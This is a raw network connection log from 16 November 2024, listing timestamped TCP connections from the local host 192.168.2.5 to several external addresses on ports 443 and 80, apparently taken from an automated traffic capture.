Nov 16, 2024 13:01:33.567158937 CET	49795	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.567187071 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.567282915 CET	49795	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.572299957 CET	49796	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.572392941 CET	443	49796	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.572635889 CET	49796	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.582520962 CET	49795	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.582537889 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.586302996 CET	49797	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.586345911 CET	443	49797	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.586503029 CET	49797	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.586702108 CET	49797	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.586719990 CET	443	49797	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.589943886 CET	49796	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.589994907 CET	443	49796	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.594049931 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.594136000 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.594223022 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.594342947 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.594367027 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.595164061 CET	49799	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.595175982 CET	443	49799	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.595277071 CET	49799	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.598347902 CET	49799	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:33.598362923 CET	443	49799	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:33.720105886 CET	49745	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:33.720416069 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:33.725462914 CET	80	49745	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:33.725719929 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:33.725866079 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:33.726030111 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:33.726030111 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:33.730997086 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:33.731009960 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:33.731146097 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:33.731307030 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:33.822700024 CET	443	49794	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:33.822758913 CET	49794	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:33.875998020 CET	49813	443	192.168.2.5	13.32.110.123
Nov 16, 2024 13:01:33.876044989 CET	443	49813	13.32.110.123	192.168.2.5
Nov 16, 2024 13:01:33.876106024 CET	49813	443	192.168.2.5	13.32.110.123
Nov 16, 2024 13:01:33.876929998 CET	49813	443	192.168.2.5	13.32.110.123
Nov 16, 2024 13:01:33.876960039 CET	443	49813	13.32.110.123	192.168.2.5
Nov 16, 2024 13:01:34.115021944 CET	49794	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:34.115051985 CET	443	49794	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:34.116043091 CET	443	49794	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:34.118180990 CET	49794	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:34.118385077 CET	49794	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:34.118423939 CET	443	49794	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:34.318916082 CET	443	49796	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.319516897 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.324603081 CET	443	49797	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.327300072 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.329061985 CET	443	49799	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.330539942 CET	49799	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.330548048 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.330575943 CET	443	49799	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.330585003 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.331470013 CET	49797	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.331485033 CET	443	49797	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.332511902 CET	49799	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.332519054 CET	443	49799	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.332603931 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.332614899 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.333009005 CET	49795	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.333029985 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.333378077 CET	49797	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.333381891 CET	49795	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.333383083 CET	443	49797	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.333391905 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.333496094 CET	49796	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.333524942 CET	443	49796	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.333995104 CET	49796	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.334006071 CET	443	49796	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.456814051 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.457010984 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.457204103 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.457926035 CET	443	49799	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.458014965 CET	443	49799	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.458055973 CET	49799	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.458450079 CET	443	49796	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.459475994 CET	443	49796	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.459534883 CET	49796	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.460011959 CET	443	49797	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.460081100 CET	443	49797	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.460128069 CET	49797	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.460171938 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.460333109 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.460375071 CET	49795	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.492321014 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.492321014 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.492368937 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.492398977 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.494318962 CET	49795	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.494333982 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.494375944 CET	49795	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.494383097 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.495733976 CET	49799	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.495748997 CET	443	49799	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.495779991 CET	49799	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.495786905 CET	443	49799	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.497526884 CET	49796	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.497526884 CET	49796	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.497543097 CET	443	49796	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.497570992 CET	443	49796	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.498862028 CET	49797	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.498869896 CET	443	49797	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.498881102 CET	49797	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.498884916 CET	443	49797	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.511207104 CET	443	49794	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:34.635243893 CET	443	49794	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:34.635324955 CET	49794	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:34.727447987 CET	49794	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:34.727462053 CET	443	49794	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:34.731648922 CET	443	49813	13.32.110.123	192.168.2.5
Nov 16, 2024 13:01:34.731941938 CET	49813	443	192.168.2.5	13.32.110.123
Nov 16, 2024 13:01:34.731972933 CET	443	49813	13.32.110.123	192.168.2.5
Nov 16, 2024 13:01:34.733160019 CET	443	49813	13.32.110.123	192.168.2.5
Nov 16, 2024 13:01:34.733225107 CET	49813	443	192.168.2.5	13.32.110.123
Nov 16, 2024 13:01:34.734875917 CET	49813	443	192.168.2.5	13.32.110.123
Nov 16, 2024 13:01:34.734986067 CET	443	49813	13.32.110.123	192.168.2.5
Nov 16, 2024 13:01:34.780837059 CET	49813	443	192.168.2.5	13.32.110.123
Nov 16, 2024 13:01:34.780857086 CET	443	49813	13.32.110.123	192.168.2.5
Nov 16, 2024 13:01:34.789834023 CET	49817	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.789861917 CET	443	49817	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.789932966 CET	49817	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.844177961 CET	49817	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.844197989 CET	443	49817	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.885904074 CET	49813	443	192.168.2.5	13.32.110.123
Nov 16, 2024 13:01:34.916455030 CET	49818	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:34.916500092 CET	443	49818	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:34.917160034 CET	49818	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:34.917659044 CET	49818	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:34.917673111 CET	443	49818	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:34.962524891 CET	49819	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.962538958 CET	443	49819	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.962857008 CET	49819	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.962867022 CET	49820	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.962913036 CET	443	49820	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.963557005 CET	49820	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.964922905 CET	49821	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:34.965012074 CET	443	49821	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:34.965375900 CET	49821	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.030275106 CET	49819	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.030296087 CET	443	49819	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.030777931 CET	49820	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.030821085 CET	443	49820	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.031316042 CET	49821	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.031337976 CET	49822	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.031382084 CET	443	49822	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.031399012 CET	443	49821	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.031627893 CET	49822	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.031868935 CET	49822	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.031897068 CET	443	49822	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.037676096 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:35.037765026 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:35.038049936 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:35.038049936 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:35.038137913 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:35.115765095 CET	49824	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:35.115793943 CET	443	49824	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:35.115972996 CET	49824	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:35.116509914 CET	49824	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:35.116520882 CET	443	49824	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:35.136096954 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:35.136567116 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:35.319137096 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:35.324016094 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:35.432377100 CET	49826	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:35.432477951 CET	443	49826	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:35.432605982 CET	49827	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:35.432693005 CET	443	49827	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:35.432735920 CET	49826	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:35.432914019 CET	49827	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:35.432919979 CET	49826	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:35.432945967 CET	443	49826	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:35.433183908 CET	49827	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:35.433221102 CET	443	49827	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:35.444865942 CET	49828	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:35.444890022 CET	443	49828	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:35.445571899 CET	49828	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:35.446990967 CET	49828	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:35.447016954 CET	443	49828	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:35.596749067 CET	443	49817	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.636347055 CET	49817	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.636347055 CET	49817	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.636384964 CET	443	49817	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.636399031 CET	443	49817	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.725306034 CET	49703	443	192.168.2.5	23.1.237.91
Nov 16, 2024 13:01:35.753478050 CET	443	49820	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.760967970 CET	443	49817	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.761109114 CET	443	49817	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.762192011 CET	49817	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.763886929 CET	443	49819	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.774257898 CET	443	49822	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.793435097 CET	49820	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.793473005 CET	443	49820	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.794452906 CET	443	49821	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.794507980 CET	49820	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.794521093 CET	443	49820	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.797612906 CET	49821	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.797612906 CET	49821	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.797671080 CET	443	49821	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.797698021 CET	443	49821	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.821084976 CET	49817	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.821084976 CET	49817	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.821108103 CET	443	49817	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.821120024 CET	443	49817	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.822474957 CET	49819	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.822491884 CET	443	49819	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.823471069 CET	49819	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.823476076 CET	443	49819	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.824580908 CET	49822	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.824616909 CET	443	49822	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.824985981 CET	49822	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.824997902 CET	443	49822	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.840831041 CET	49831	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.840928078 CET	443	49831	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.841124058 CET	49831	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.841305017 CET	49831	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.841339111 CET	443	49831	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.902941942 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:35.903392076 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:35.903455019 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:35.904099941 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:35.904126883 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:35.904164076 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:35.904185057 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:35.904213905 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:35.904262066 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:35.905183077 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:35.906436920 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:35.906532049 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:35.906829119 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:35.906843901 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:35.919718027 CET	443	49820	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.919871092 CET	443	49820	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.919945955 CET	49820	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.923089981 CET	49820	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.923120022 CET	443	49820	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.923145056 CET	49820	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.923161030 CET	443	49820	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.931443930 CET	443	49821	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.931514025 CET	443	49821	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.931617022 CET	49821	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.937571049 CET	49821	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.937604904 CET	443	49821	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.937633038 CET	49821	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.937647104 CET	443	49821	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.940740108 CET	49832	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.940768957 CET	443	49832	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.940861940 CET	49832	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.941386938 CET	49832	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.941405058 CET	443	49832	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.942164898 CET	49833	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.942203999 CET	443	49833	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.942267895 CET	49833	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.942595005 CET	49833	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.942610025 CET	443	49833	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.950025082 CET	443	49819	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.950186014 CET	443	49819	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.950263977 CET	49819	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.950412035 CET	49819	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.950412035 CET	49819	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.950423956 CET	443	49819	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.950434923 CET	443	49819	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.951960087 CET	443	49822	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.952172041 CET	443	49822	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.952246904 CET	49822	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.952383041 CET	49822	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.952383041 CET	49822	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.952403069 CET	443	49822	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.952425957 CET	443	49822	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.952821970 CET	49834	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.952846050 CET	443	49834	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.954233885 CET	49835	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.954246998 CET	443	49835	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.954266071 CET	49834	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.954298973 CET	49835	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.954415083 CET	49835	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.954427004 CET	49834	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:35.954428911 CET	443	49835	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:35.954443932 CET	443	49834	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.031143904 CET	443	49818	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:36.031225920 CET	49818	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:36.041506052 CET	443	49827	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:36.044648886 CET	49827	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:36.044677019 CET	443	49827	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:36.045207024 CET	443	49826	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.045495987 CET	49826	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.045559883 CET	443	49826	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.045826912 CET	443	49827	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:36.045892000 CET	49827	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:36.046890020 CET	49827	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:36.046964884 CET	443	49827	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:36.047013998 CET	443	49826	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.047096014 CET	49826	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.047100067 CET	49827	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:36.047110081 CET	443	49827	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:36.047991991 CET	49826	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.048083067 CET	443	49826	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.048223972 CET	49826	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.054799080 CET	49813	443	192.168.2.5	13.32.110.123
Nov 16, 2024 13:01:36.054994106 CET	443	49813	13.32.110.123	192.168.2.5
Nov 16, 2024 13:01:36.055047989 CET	49813	443	192.168.2.5	13.32.110.123
Nov 16, 2024 13:01:36.056106091 CET	49828	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.056354046 CET	49841	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.056370020 CET	443	49841	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.056474924 CET	49841	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.056674004 CET	49841	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.056683064 CET	443	49841	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.056879044 CET	49818	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:36.056894064 CET	443	49818	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:36.057348967 CET	443	49818	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:36.059766054 CET	49818	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:36.059828997 CET	49818	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:36.059889078 CET	443	49818	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:36.062727928 CET	443	49828	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.062814951 CET	49828	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.074584007 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.091339111 CET	443	49826	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.093882084 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:36.094121933 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:36.155832052 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.155890942 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.156002998 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.156069040 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.159722090 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.159790993 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.159811020 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.168988943 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.169039011 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.169053078 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.176376104 CET	443	49826	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.176585913 CET	49826	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.176692963 CET	49826	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.176706076 CET	443	49827	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:36.176731110 CET	443	49826	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.176814079 CET	49827	443	192.168.2.5	162.159.61.3
Nov 16, 2024 13:01:36.177105904 CET	49827	443	192.168.2.5	162.159.61.3
